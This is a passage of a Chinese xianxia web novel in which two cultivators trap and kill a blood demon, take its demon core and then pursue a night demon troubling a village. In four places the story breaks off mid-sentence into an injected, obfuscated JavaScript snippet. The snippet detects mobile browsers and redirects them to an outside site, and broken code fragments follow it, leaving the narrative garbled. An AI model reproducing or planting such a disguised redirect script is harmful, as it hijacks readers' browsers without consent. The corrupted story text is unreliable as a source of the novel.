“我……”暗河想起李恕强调过的事情,尽管他很想宽慰一下这位失去孩子的父亲,但还是只能狠狠心道,“现在不能告诉你,不过我保证我们一定会抓住她的。” 砰的一声,房门被推开了,芈夫人站在门口,身形看起来比上次又消瘦了一圈,她的眼底爬满血丝,恨恨地瞪着房中几人。 芈掌柜赶紧过去扶她:“你怎么来了?不是让你好好休息一下吗?” “我睡得着吗?我一闭上眼睛,脑子里就是咱们儿子的脸!”芈夫人一把推开芈掌柜,大步走进房中,“还有,我来是为了告诉你,刚才我已经把府里的什么‘天山老怪’‘无情铁手’都赶走了,这些人打着抓血魔的幌子骗吃骗喝,我见了就生气!” “天山老怪”“无情铁手”是谁几人不知道,但他们都听得出来芈夫人话里有话。 芈掌柜追过去揽住芈夫人的肩膀,试图让她冷静下来:“不要乱说,这位是捕星司的放统领。” “那他们俩呢?”芈夫人瞪着通红的眼睛,她唯一的儿子死得那么惨,要她如何冷静?“我看你们根本就不是什么仙师,而是一对男盗女娼,跑到我这里来招摇撞骗!” 这话说的可就有点难听了,然而芈夫人被丧子之痛折磨了这么些天,早已没有理智可言。 “你们两人嘴上说着能够捉住血魔,实际上一直赖在屋里,孤男寡女独处一室,做些见不得人的勾当!方才问起,你们竟然还有脸保证,当真觉得我是傻子吗?” 芈掌柜面色铁青,低声喝道:“别说了,快回去!” “滚开,我偏要说!”芈夫人伸出右手,指尖直戳李恕面门,“你要么带着你的姘头马上滚出我家,要么就等着跟我去见官吧!” “芈夫人。”暗河挡在李恕面前,“我理解您的心情,不过我们绝非像你说的那样是在行骗,李仙师已经推测出了血魔的动向,一定会将她绳之以法。” “什么动向?”芈夫人的目光犹如两把淬了毒的尖刀,恨不得扎到暗河身上。 “请您相信,我们留在府里,正是为了抓住血魔。” “哈哈哈哈哈!”芈夫人爆发出一阵大笑,“你们两个真拿我当傻子逗呢?你是不是还想说血魔会自动送上门啊?好啊,你让她来,让她来啊!血魔要是真的敢来,我一定喝干她的血,让她也尝尝我儿的痛苦!” 暗河欲言又止,芈夫人这般激动,如果告诉她血魔会偷偷去找阿钊,芈夫人肯定没法藏好自己的情绪,若是打草惊蛇就前功尽弃了。 暗河答不上来,芈夫人只当他是无话可说,抄起桌上酒壶砸向暗河:“滚!骗子!马上给我滚出去!” 壶中的酒泼到暗河身上,没有留下一丝痕迹,却让房中的气氛又凝重许多。暗河身后,李恕忽然哂笑一声:“芈夫人好身手,若是拿去对付血魔不知道能起多少作用。” 李恕竟然还敢还嘴,芈夫人气极,准备喊家仆把两人打出。李恕抱起双臂,施施然出了房门:“不劳夫人动手,在下自己会走。” 放寒山将信将疑,他一直觉得李恕隐藏身份来到芈府,肯定别有用心,现在居然就这么走了? 暗河追着李恕出门,想来她从没被人用如此不堪的言语辱骂过,走得头也不回,一刻不想多待。 一直走到街头,李恕的脚步终于慢了下来,暗河赶紧追到她身边:“李仙师!” 李恕看他:“你叫我什么?” “……李恕。” “你有什么话就直说吧。” 暗河心想李恕明明是为了抓住血魔才一直守在府里,到头来却被责骂,着实冤枉。“你……别生气。” “我不生气,她不是也骂你了吗?你一点儿都不介意?” 暗河摇头:“她只是太伤心了。” “你倒是善解人意。” “你真的不打算再管血魔的事了吗?” “是啊,不是还有你吗。” “我?” 李恕随便找了个路边小摊坐下,招呼小二送上酒菜。“我可没有你那么好的脾气,被人骂了还能心无芥蒂。既然你能,那就由你去抓血魔吧,我在客栈等你。”李恕指了指对面,“喏,就是那间客栈。” 暗河点头:“好,你在这里等我,解决血魔之后我立刻就来找你。” 是夜,芈府一片死寂。白日芈夫人发了一通脾气,芈掌柜好不容易才将她劝回去。芈夫人坐在房中垂泪,饭也没吃,想起惨死的芈严忍不住又去了灵棚。 芈掌柜在门口枯站良久,不知如何才能宽慰芈夫人,或者说,他连自己也宽慰不了。最后叹了口气,默默离开了。 两人都没注意到,一道暗影悄无声息贴上墙根,掠过灵棚往芈府更深处去了。 暗影瘦小却灵活,脚下没有一点儿声音,不像在走,倒像是在飘。摸到某间屋外,暗影左右看了两眼,手指在门上轻轻一划,从门缝中钻了进去。 这是阿钊的房间,来者正是血魔。只见她目标明确,径直扑到床边,右手指甲暴涨数寸向着阿钊的脖颈抓去。只要顺着血管一寸寸剥开阿钊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107629|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉,就能找到獠牙。 说时迟那时快,暗河掠下房梁,一剑削向血魔手腕,惊得血魔倒飞出去。等到清暗河的武器,血魔拧了拧眉头,再次扑向阿钊。暗河自然不会让她得逞,提剑与其缠斗起来。 血魔吃过芈严的亏,确定了暗河手中只是一把木剑,这才大着胆子与他交手。然而她没想到,木剑在暗河手里,发挥出的威力竟然比芈严那把宝刀更甚。 唰的一声,血魔右手的指甲被整齐削去,意识到自己不是暗河的对手,血魔转身就跑。刚到院中,一阵罡风扑面而来,直接将她连根拔起,狠狠砸在墙上。 “唔!”血魔摔在地上,动弹不得。 “抓到你了。”放寒山气定神闲,摇着扇子走来,“李仙师说的不错,你果然冒险跑来偷东西了。” 白日暗河回到芈府,悄悄对放寒山说了獠牙的事。放寒山心中并未尽信,嘴上却应了下来,答应与暗河一起守株待兔。 此刻血魔落入网中,放寒山摸摸下巴,语气颇为玩味:“李仙师对血魔还真是了如指掌。” 再看地上瑟瑟发抖的血魔,放寒山合起扇子,压在她的肩头:“说吧,你那天是如何对芈公子下手的?” 血魔趴在地上,楚楚可怜问道:“说了你能放过我吗?” 放寒山瞧着她轮廓精致的侧脸,心道传言不假,血魔果然都是美人。“可以考虑。” 原来芈严就是奔着血魔去的,前两起命案虽然没有掀起轩然大波,但芈严一直把除魔卫道视为己任,所以打听到了一些消息。 芈严很有几分聪明才智,不仅根据前两起命案的地点推测出血魔可能会来昆仑城,还特意带上了捆仙网、弓弩等克制血魔的武器。最巧的是,他真的在城外碰见血魔了。 血魔本不想对他动手,可是芈严铁了心要杀她证明自己,终于激怒了血魔。 之后的事情便和李恕推测的一样,血魔的獠牙断在了阿钊体内,又痛又惊,这才让阿钊夺路而逃捡回一条性命。 血魔挤出几滴眼泪:“事情就是这样,我根本就不想杀他,是他非要杀我。” “这么说你还挺冤枉。” “当然了,我说完了,你能不能放了我?” “我也考虑完了,不能。” 血魔被摆了一道,气鼓鼓地抬起头,放寒山又把她按下去:“你犯下的前两条命案又要作何解释?” “自然也是有原因的!” “什么原因?” “这件事情说起来就比较长了……”血魔忍过一阵筋骨疼痛,现在稍微能动了,赶紧抬手抹了抹眼泪。 放寒山不依不饶:“长话短说。” 血魔没有办法:“好吧,就算短说也要说很久,能不能让我坐起来说?” 也行。放寒山揪住血魔的衣领,让她靠着墙壁坐下:“说吧。” “好。”不知不觉间,血魔眼中的泪光已经完全退了下去,嘴角的微笑却慢慢浮了上来,“我可以说,就怕——你们没命听!” 话音未落,血魔出手如电,平地顿起一股狂风,呼啸着冲向放寒山与暗河,硬生生将两人掀飞出去。 “操!”放寒山凌空拧身,五指虚按地面稳住身形,忍不住低声骂了一句,倒不是因为血魔趁机偷袭,而是因为这风。 放寒山手中那把折扇看着价值不菲,实际上也价值不菲,乃是一件极为珍贵的上品灵器,挥舞之间狂风呼啸。血魔方才偷袭的那一下,分明就是他的招式。 可是扇子明明还好好握在他的手中,血魔是怎么做到的? 5. 魔核 暗河脸色微变,风起时犹如白鹤展翅,风停时稳稳落地,姿态比放寒山优雅得多:“小心!” 放寒山暗自不爽:“我知道。” 暗河又道:“捂住口鼻。” 放寒山道:“啊?” 下一刻他便知道为什么了,血魔刮风的时候顺势放了一把毒烟,放寒山处在下风口刚好吸个正着。 毒烟无色无味,入体却火烧火燎,放寒山试着催动灵力逼出毒烟,四肢百骸顿时一阵抽痛,仿佛有谁在大力抽他的筋,根本没法再用灵力。 放寒山痛得嘶了一声:“这毒厉害得很,你千万别吸到了。” 暗河:“我已经中毒了。” 放寒山:“……” “所以我才提醒你的。” “……” 血魔哈哈大笑,右手指甲慢慢长了出来,放寒山定睛细看,她手里绝对没有扇子之类的东西,那阵大风到底是怎么来的? “你们两个卑鄙小人,是不是觉得我一个弱女子很好欺负?”血魔想起自己方才被按在地上的惨状,狠狠呸了一声,“结果怎么样,二打一你们也不是我的对手,现在知道我的厉害了吧!” 两人都不回话,血魔没从他们脸上看出惊慌失措的表情,颇为恼火:“装什么装,小心我吸干你们的血。” 放寒山哈哈笑了一声,血魔大怒:“你笑什么?别以为我不敢!” 暗河一本正经答道:“你已经没有獠牙了。” “哈哈哈,哈哈哈哈哈。”放寒山越发乐不可支,“说实话,我还是第一次遇见这么好笑的魔,居然能把自己的牙给折了。” “你们!”血魔气得疯了,挺身扑向暗河,“没有獠牙我也能杀了你们!” 就是现在。放寒山是不是嘴欠尚且存疑,暗河却是故意想要激怒血魔,在她扑过来的瞬间,暗河一剑刺出,直取血魔咽喉。 “哗啦!”“扑通!” 瓷器碎裂与重物坠地的声音同时响起,暗河并未刺中血魔,这倒不是因为他剑术不精,而是因为血魔扑到半空时,斜刺里忽然飞出一只花瓶砸在她身上。 “是你。”芈夫人站在院中,垂在身侧的手止不住地发抖,不是因为害怕,而是因为激动,“你竟然真的敢来,我要杀了你替我儿报仇!” 血魔被那一下砸得头昏眼花,用力晃了晃脑袋,等她看清冲过来的人是芈夫人,不由得冷笑一声:“蠢货,找死!” “芈夫人快离开!”暗河吸入的毒烟并不比放寒山少,方才运转灵力强行出剑,此刻五脏六腑正如着火一般灼痛无比。然而芈夫人热血上头,根本听不进去暗河的提醒,她现在只有一个念头:杀了血魔。可是不管芈夫人的愤怒有多强烈,对上血魔她绝没有活命的机会。 没办法了,暗河一咬牙,将漫上喉头的腥甜吞入腹中,提剑去救芈夫人。他的身形刚动,却有一道人影比他更快,如同一片利刃裁下的夜色,瞬间出现在血魔眼前。 “李恕!”暗河又惊又喜,血魔的脸上则全是惊,猛地挥袖折身。 不好,她八成又要用那一招,暗河赶紧提醒李恕小心。只见李恕化拳为掌,没用一丝灵力,直接拍上血魔胸口。 “砰!”血魔再次砸到墙上,足足过了数息才掉下去,细看墙壁,竟然隐隐出现一道人形轮廓。 “李恕。”暗河以剑支地稳住身体,惊喜的感觉还萦绕在心头,“你怎么来了?” “来接你呀。”李恕手腕翻转,指尖多了一样东西,“张嘴。” 暗河听话照做,口中被塞入一枚丹药,入口即化,清清凉凉,不一会儿就把他体内火烧火燎的痛感压了下去。 不用暗河多说什么,光看他的反应放寒山就知道李恕给他吃了解药,忍不住问:“你怎么知道血魔会下什么毒?” 李恕视他如无物:“这是能解百毒的丹药。” 好吧,这也说得过去,放寒山勉强揭过这个疑点:“那我的呢?” “没了。” “喂!”放寒山难以置信,李恕就这样眼睁睁地看着他受折磨,丝毫不为所动? 事实证明李恕真的可以,她将血魔拎起来:“再说一遍,你是怎么对芈严动手的?” 血魔满脸是血,本来还有点儿神志不清,一听见李恕的声音立刻打了个激灵,从脚底窜起一股寒意。 “我已经说过了……” “我要听实话。” 血魔混迹人界,骗了一个又一个人被她吸血,撒谎对她来说是最轻而易举的事情,然而直觉告诉她,不要对李恕撒谎。 “我在城外碰见了芈严和他的仆人,故意把他们引到了一片树林,但是!但是我本来不想杀他的,我只想吸那个仆人的血,是他自己不知好歹非要来阻止我,还让那个仆人快跑去搬救兵,我只好把他一起杀了……” 芈夫人站在一旁,经过方才的事她现在稍稍冷静了一些,闻言不禁掩面抽泣:“你还我儿命来……” 放寒山随便吃了一枚解毒的丹药,慢慢走到廊下:“那你如何使得我的招式?” “你说什么,我听不懂。” “不要装傻。” 血魔面露犹豫,似乎在畏惧什么,想了好一会儿才准备开口。只是刚一抬头她就呆住了,瞳孔缩成极小的两点看向放寒山身后。 院墙上站着一个黑衣人,斗篷加身大袖飘飘,脸上戴着一副黑色面具,出现之后一句话也没说,右手凭空一握,便将血魔的脑袋炸开了花。 李恕分别拉住暗河与芈夫人退后数米,只有放寒山有毒在身行动不便,被血水浇了个透。 放寒山:“……” 解决了血魔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107630|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑衣人转身便走,眨眼间便没了踪迹,众人想追也追不上了。这一通乱糟糟的架打过,整个芈府都被惊动了,芈掌柜匆匆赶来,看见脑袋已经炸没的血魔,又听了芈夫人断断续续的哭诉,大概明白了事情经过。 “多谢几位仙师,严儿九泉之下可以安息了,我会按照约定将全部家产如数奉上。” 不过给李恕还是给放寒山有待商榷,确切来说,血魔是死在了黑衣人手里。 李恕摊开手掌按住血魔腹部,五指越陷越深,直到噗嗤一声陷进血魔体内。片刻之后,李恕收回右手,她的手上干干净净,手中却多了一物:一块淡紫色的菱形魔核。 魔族天生便有魔核,越高等的魔,魔核颜色越深,乃是做阵眼的绝佳材料,很显然血魔这块魔核价值有限。 李恕将魔核收起来:“给他吧,我只要这个。” 芈掌柜不敢不应,转而对放寒山道:“那这芈府的家产就归放统领了。” 放寒山抹了一把脸上滴下来的血水,像是再也忍不了了:“不用,能够抓住血魔是李仙师的功劳,她不要我也不要。我只需芈掌柜准备一池清水,让我沐浴更衣即可。” “这是自然,我马上命人去办。”芈掌柜再三向李恕几人道谢,请他们今夜好好休息,就算不要家产也可以要府中任何宝物。 五更时分,披着夜色的昆仑城尚在沉睡之中,李恕与暗河已经走在城外的小路上,月光将两人的身影拉得细长。 暗河问道:“为何我们要不告而别?” 李恕拿着那块棱角分明的魔核,随手抛了几下:“你想留下来接手芈掌柜的家产,还是想听芈夫人哭着向你道歉?” 暗河立刻明白了她的意思,两人本来就不是为了钱财或者虚名,只是为民除害而已,既然如此何必久留。 “原来你不是负气离开,而是故意留出空子引诱血魔现身。” “这种事情还不值得让我生气。” 暗河由衷赞道:“你人真好。” 听他夸得这么认真,李恕不免觉得好笑:“这就让你觉得好了?” “是的。” “那你可能要失望了。”李恕歪头看暗河,乌云蔽月,令她几乎与夜色融为一体,“你知我会怎么对待那些真的惹我生气的人吗?我会把他们碎尸万段,挫骨扬灰,让他们永世不得超生。” 暗河微微一怔,没等他说什么,头顶的乌云被风吹走,月色重新泼洒下来,照出李恕眉眼弯弯的样子:“你现在还觉得我是个好人吗?” 暗河被那笑意感染,松了口气:“你又在开玩笑了。” 李恕努了努嘴,不再继续这个话题,举起魔核对着月亮。别人看不出来,但她可以确定,这块魔核沾了灵气。 怪不得血魔一族不服她的管教,原来是抱上了人族修士的大腿。 6. 赤霞 从昆仑城往东北方向走,不几日就到了赤霞派的地界。赤霞派精通法阵,护山大阵固若金汤,无人能破,因此即便整体实力不算特别强,依然能够稳坐五大宗门之列。 城中热闹非常,两人随意逛了逛,昆仑城多兵器铺,此地则多法阵铺。 不得不说赤霞派很有想法,通常来讲布阵需要考虑地形、风水、阵眼、阵旗等等,还要专门学习布阵方法。赤霞派化繁为简,研制出了简单便携的随身阵,将其刻在晶石里面,使用时只需扭动晶石即可。 虽说这种随身阵使用效果和时间都有限,但是大部分没有使用门槛,拿来应急完全足够了。 眼前就是一间法阵铺子,李恕抱臂碰了一下暗河的胳膊:“进去看看?” 铺子足有三层楼高,装修的金碧辉煌,伙计穿行其中,穿的都是火红色的赤霞派弟子服,看来这是一家直接挂在赤霞派名下的铺子。 一楼大堂客人众多,大部分是普通百姓,二楼及以上才是修士。都看过后,两人准备再上三楼,伙计微笑着拦住两人:“客官没看见合心意的随身阵吗?” 李恕嗯了一声,伙计仍旧站在楼梯口不动:“客官想买什么样的可以跟我说说,或者我帮两位推荐几款?” 李恕抬眸,望向阶梯尽头的三楼:“我要上去。” 伙计的微笑又深了几分:“这个恐怕不行……” 没等伙计说出原因,楼下嘈杂的人声忽然停了,紧接着上来一行紫衣女修,个个身形高挑,为首之人尤甚,眉宇间且冷且傲,径直走到伙计面前亮出一块玉牌。 伙计见了立刻做出请的手势,等到紫衣女修们上了三楼,伙计再次站在楼梯口正中,笑眯眯道:“客官见谅,并非在下有意为难,而是掌柜有令,三楼只有手持玉牌的贵客才能入内。” 方才那群女修虽然一言未发,但是穿的衣服早已表明了她们是紫竹峰弟子。 身为五大宗门之一,紫竹峰的术法千变万化,一骑绝尘,实力颇为强横。不过紫竹峰最出名的不是实力,而是宗门只招收女弟子的规定。 世人对此议论纷纷,一边指责掌门沉璧上人自视清高,歧视男人,一边又对全是女修的紫竹峰心驰神往,渴望哪天能够进去一饱眼福。 暗河不解:“难道只有宗门弟子才能成为贵客?” 伙计竖起一根食指摇了摇:“当然不是,客官看见那块玉牌了吗?那是累计在本店消费满十万两的证明。”换言之,只要两人也在店里消费十万,立刻就能荣升贵客。 不愧是紫竹峰,果然财大气粗。 李恕问伙计:“那你说说,你们这里什么法阵卖得最好?” “那可就多了,本店出品必属精品。”伙计随手拿起身边一颗晶石,“这是隐形阵,激活之后能让方圆三丈内所有东西都隐形,大罗金仙来了也看不出异样。” “这是露营阵,激活之后风吹不着日晒不着,实属外出游历必备良阵。” “这个最特别,需要先把晶石打磨成珠子的形状,名叫留影阵,也可以叫留影珠,能够记录周遭发生的一切影像,事后还可无限次回看。” 果然都是很有意思的法阵,看见李恕好像有兴趣,伙计趁热打铁:“客官想买哪一款?” “每一款。” “好嘞!” 伙计取下晶石,依次装在盒中交给李恕:“法阵的名字都刻在晶石上了,客官照着名字取用即可。” 花过钱了就是不一样,离开的时候,伙计亲自送两人下楼,谁知刚进大堂就听见一声质问:“你们怎么能坐地起价?!” 说话的是个魁梧汉子,个子大嗓门也大,黝黑的脸上涨出红色:“明明昨天还是三百两,怎么今天就变成了五百两?你们抢钱啊!” 柜台后的伙计神色淡淡:“昨天是昨天的价,今天是今天的价。你觉得昨天便宜,昨天为什么不买?你觉得今天贵,今天可以不买。” 言语之间,根本不在乎魁梧汉子这个顾客。 “别给我扯什么昨天今天,本来就够贵了,五百两谁买得起?” “你买不起不代表别人买不起,做生意讲究的是你情我愿,我们可没逼你掏钱。”伙计说着挥挥手,“还是那句话,你要是不买就请让开,不要挡到后面的人。” “好啊,你们赤霞派真了不起,别以为我们这些平头老百姓就好欺负,叫你们掌柜出来见我!” 伙计皱起眉头,嫌弃之色溢于言表。魁梧汉子本就恼火,看见伙计这副样子更是忍不了,半个身子越过柜台揪住伙计衣领,两人眼看着就要动手。 “齐玉,做什么呢这么热闹?”楼梯口响起一道不高不低的声音,适时打断两人。大堂里看热闹的人纷纷回头,只见一名华服男子缓步走了下来,在他身后则是那群紫竹峰女修。 “罗师兄!你来得正好,这人在店里闹事,还想对我动手。”名叫齐玉的伙计看见华服男子仿佛看见了救星,赶紧把方才发生的事情添油加醋说了一遍。 罗源泽奉师门之命掌管铺子,店里大小事务全都由他做主。今日紫竹峰大客户到场,他亲自出面接待,没成想就这么一会儿功夫都能生出事端,真是一群让人不省心的废物。 尽管心中不爽,当着外人的面罗源泽没有表现出丝毫不悦。 “侠士莫要冲动,有话好说。”罗源泽温声安抚魁梧汉子,“我明白侠士的心情,但你确实是误会我们了,小店一直在亏本做生意,涨价也是迫不得已呀。” 这番话显然没什么说服力,三百两可不是小数目,围观群众伸长脖子听他准备放什么屁。 魁梧汉子怒气难消:“涨不涨不就你一句话的事儿,什么叫迫不得已?” 罗源泽叹了口气:“诸位可能还不清楚,最近夜魔作乱吃人血肉,已经有不少人遭了他的毒手。” 夜魔乃是高等魔族,不喜阳光只在夜间出没,能够与夜色融为一体,极难对付。几年前有个夜魔在人界作乱,前前后后害了数百人的性命。那时一到夜晚,家家户户都要彻夜不息点着灯火,生怕碰见夜魔上门。 果然,听见夜魔的名字众人倒吸一口凉气。 “什么,那玩意儿又出来了?” “我老婆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107631|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表妹的嫂子的远方表哥就是死在夜魔手里!” “真的是夜魔吗?好多年没听过了啊......” 罗源泽道:“为了阻止夜魔,我们耗费大量心血,失败了无数次才研制出了一款以魔核为阵眼的防护阵,能让夜魔退避三舍不敢侵犯。魔核有多难得,想必不用我再多言,任何与魔族交过手的修士心里都清楚。所以敢问这位侠士,一个防护阵定价五百两,你还觉得贵吗?” 魁梧汉子的脸色不大好看,旁人听见夜魔的名字也许只是有点害怕,而他却是昨晚才亲身体会了夜魔的可怕,妻儿被吓哭的声音还在他耳边。 这笔钱是村里人一起凑的,大家希望买一个防护阵回来罩住村子,不然他们一群普通百姓拿什么跟夜魔斗? 想到这里,魁梧汉子的声音低了下来:“我们下沙村都是一群老弱妇孺,实在不容易……你看这样行不行,我买,但我只有这些钱了,差的钱先欠着,我凑够了立刻给你送来。” 齐玉撇撇嘴:“本店规矩概不赊账,只收现银。要是都像你一样今天赊账明天赊账,我们生意还做不做了?” 罗源泽制止齐玉,对汉子道:“既然大家都为难,那便由我们来退一步吧。魔核防护阵最贵重的部分就是魔核,只要你能拿出一块魔核,我可以将法阵免费送你。” 魁梧汉子听了前半句还以为有希望,听了后半句脸色又垮下来,他要是有猎魔的本事,哪里还用在这里低三下四求人? “侠士考虑好了吗?”罗源泽挂着礼貌的笑,魁梧汉子本就觉得理亏,现在更是有火也没地发了。 可是防护阵不能不买,魁梧汉子把手伸进怀里,摸了半天,摸出一只玉镯。这是他给老婆买的礼物,攒了好久的钱,本想着等老婆生日那天给她,现在只能拿出来应急了。哎,还好没有提前告诉老婆镯子的事,不然还要让她空欢喜一场。 “我知道了,我买......”“啪。” 一只雪白的手按上柜台,乃是那名为首的紫竹峰弟子,她没看魁梧汉子,只把一块金锭放下:“够吗?” 齐玉被紫衣女修冷淡的眸子看着,一时有些呆愣:“够、够了……” 紫衣女修略一点头,这才对魁梧汉子道:“我会通报紫竹峰夜魔的事,不日就会有人前来猎魔。”说罢,紫衣女修不再多留,带着同门出了店铺。 角落里的暗河松了口气,不管怎样,事情总算解决了。店里气氛重新活络起来,众人的议论转到紫竹峰身上。 “不愧是大宗门,出手就是阔绰。” 一个男人捧住心口:“紫竹峰的姐姐们真是人美心善,我好想加入紫竹峰。” 此言遭到了众人一致唾弃:“你想得美!” “说起来赤霞派也是大宗门,结果在那里斤斤计较……” “大宗门也分高低呀,赤霞派本来就不能跟紫竹峰比。” 齐玉听见议论声,视线落到那块金锭上,只觉得脸上火辣辣的,啐道:“装什么装?整天故作清高,一副与魔族势不两立的样子,谁不知道只有紫竹峰出了一个与魔族勾结的叛徒!” 7. 夜魔 李问心,紫竹峰掌门沉璧上人亲传弟子,青出于蓝而胜于蓝,一手术法玄妙无比,乃是同辈修士中的佼佼者。即便已经过去了二十余年,她在月下退魔的风姿仍旧令曾经见过的人难以忘怀。 然而就是这样一位天赋异禀、被视作正道楷模的名门修士,竟然自甘堕落,怀了魔尊九阴的孩子,后来甚至执迷不悟叛出师门,从此下落不明。 有人说李问心躲到了魔界,也有人说她早就死了,连同她生的那个魔族小杂种一起。 这件事情成了紫竹峰洗不掉的耻辱,宗门上下由此对魔族恨之入骨,一旦发现必定斩尽杀绝。然而无论再怎么做,也改变不了李问心叛逃的事实。 罗源泽轻嗤一声,遮住眼底不屑,让齐玉把钱收好,然后抛给魁梧汉子一块魔核:“拿着吧,今晚你就会知道它有没有用。” 魁梧汉子欢天喜地出了店铺,闹剧终于落下帷幕,围观群众逐渐散开。李恕随着人流出门,只是脚下的路越走越偏,直到完全与东北方向背道而驰。 暗河望着前方那道背影,确定李恕在跟踪魁梧汉子。 “你要去抓夜魔?” “怎么,你不愿意?” “当然不是,怪不得你在店里让我不要轻举妄动,原来你要从源头解决问题。”暗河双眸清透,毫不掩饰对李恕的赞赏。 这人的想法实在太好猜了,李恕歪了歪头:“我真是个好人,对吧?” “嗯!” 说话间,两人跟着魁梧汉子到了村口。村子很小,住了十几户人家,一见魁梧汉子回来赶紧围上去。 “贺强,东西买回来了吗?” “那当然,有我出马你们就放心吧!” 贺强掏出被他宝贝了一路的魔核,阳光下,紫色的魔核晶莹剔透,美丽而纯净。 村民从没见过这种东西,忍不住问:“这就是吗?要怎么用啊?” 贺强招呼众人走到村子中间,深吸一口气,用力拧动魔核,只见一道紫色的光华以魔核为中心迅速向四周扩散而去,将整个村子笼罩其中,然后渐渐变得透明。 “这样就好了吗?” 贺强也不太确定,小心翼翼托着魔核:“应该吧。” “没错,就是这样!”其中一位村民十分激动,“我在上汕村见过他们的防护阵,就是这样的。我们要好好保护这块魔核,千万不能让人碰到它。” 贺强等人并非第一批遭到夜魔侵扰的村民,在此之前已经有几个村子遭了不测,上汕村就是其中之一。他们之所以想买防护阵,也是因为上汕村靠防护阵躲过了夜魔。 众人七手八脚挖出一个深坑,小心将魔核埋入其中,又在周围竖起栅栏,防止不明就里的人误踩。 暗河有些不放心:“既然夜魔不好对付,那这个防护阵真的有用吗?” “夜魔不喜同类,如果村民身上沾染了魔核的气息,夜魔确实会出于嫌弃放弃把他们作为食物,所以只要魔核没问题,阵法就是有用的。” “原来如此。”暗河十分相信李恕的话,又想起放寒山说李恕对血魔了如指掌,不禁深表认同,“你真的很了解魔族。” 李恕觑他一眼,若是换了放寒山说这话,她一定会觉得对方在阴阳怪气,但是暗河说就没有这种感觉。 等到村民忙得差不多了,这才有人注意到村口站了俩陌生人,惊道:“你们是谁?” 两人穿的一黑一白,样貌出众,无端出现在这乡野偏僻之地,确实奇怪。 贺强咦了一声:“你们是紫竹峰派来的修士吗?” “他不是,我是。”李恕笑眯眯地应了下来,虽然她不喜欢紫竹峰,不过这样一来正好免了她浪费口舌解释。 “没想到你们来得这么快。”贺强将两人请进村子,大声对村民介绍,“大家听我说,这两位是紫竹峰派来替咱们猎魔的仙师,先前我去买防护阵,钱不够,也是紫竹峰替咱们出的!” 村民本来对两人存着戒备,听完贺强的话立刻变得热情起来,张罗着杀鸡杀鸭,说什么也要邀请两人用饭。 乡野农家的饭菜简单却别有一番风味,村民既对两人充满好奇,又不敢太过接近,不停地把盘子推到两人面前,招呼他们多吃一点。 因为贺强的房子在村里算最好的,所以饭后理所应当地把两人留在了他家。 “屋子已经打扫过了,被褥也是才晒过的,要是招待不周两位仙师千万不要见怪。” 暗河道了声不会,贺强唉了几声退下去,没一会儿门口冒出一个毛茸茸小脑袋,好像地里探出的蘑菇。 暗河定睛一看,悄悄出现的小女孩大概四五岁,梳着两个圆圆的发髻,模样软糯可爱,她还以为自己藏得很好,没想到刚一冒头就被发现了。 小女孩红了脸,手足无措地站在门口,暗河走过去,蹲下身揉揉她的脑袋。 “别怕,你叫什么名字?” “我叫阿宁。” “是你阿爹叫你来的吗?”暗河在席间见过小女孩,她是贺强的女儿。 阿宁摇摇头,很小声地问:“你们是神仙吗?” “不是。” “大家都说你们是。” 李恕插了一嘴:“那你觉得是不是呢?” 阿宁重重点头:“我觉得是!” “为什么?” “因为,”阿宁盯住暗河的脸,嘴边浮起两颗小小的梨涡,“这个哥哥长得跟画里的神仙一样。” 生怕两人不相信,阿宁拿出随身带的画册,翻到有图案的一页:“姐姐你看,是不是一模一样?” 这本画册大概是贺强买来教女儿识字的,质量不错,画上的人一袭白衣,果然很像暗河。 李恕越发想笑,暗河虽然不好意思,却也不忍打碎阿宁的一片童真,幸好贺强及时赶来解了他的尴尬。 “阿宁,你怎么在这里?我找你半天了。”贺强牵住阿宁的手,见她举着一本画册,不知道要做什么,赶紧抢下来塞进怀里,“快跟我回去,不要在这里打扰仙师。” 暗河摆摆手:“没事,阿宁很可爱。” 听见别人夸自己的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107632|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 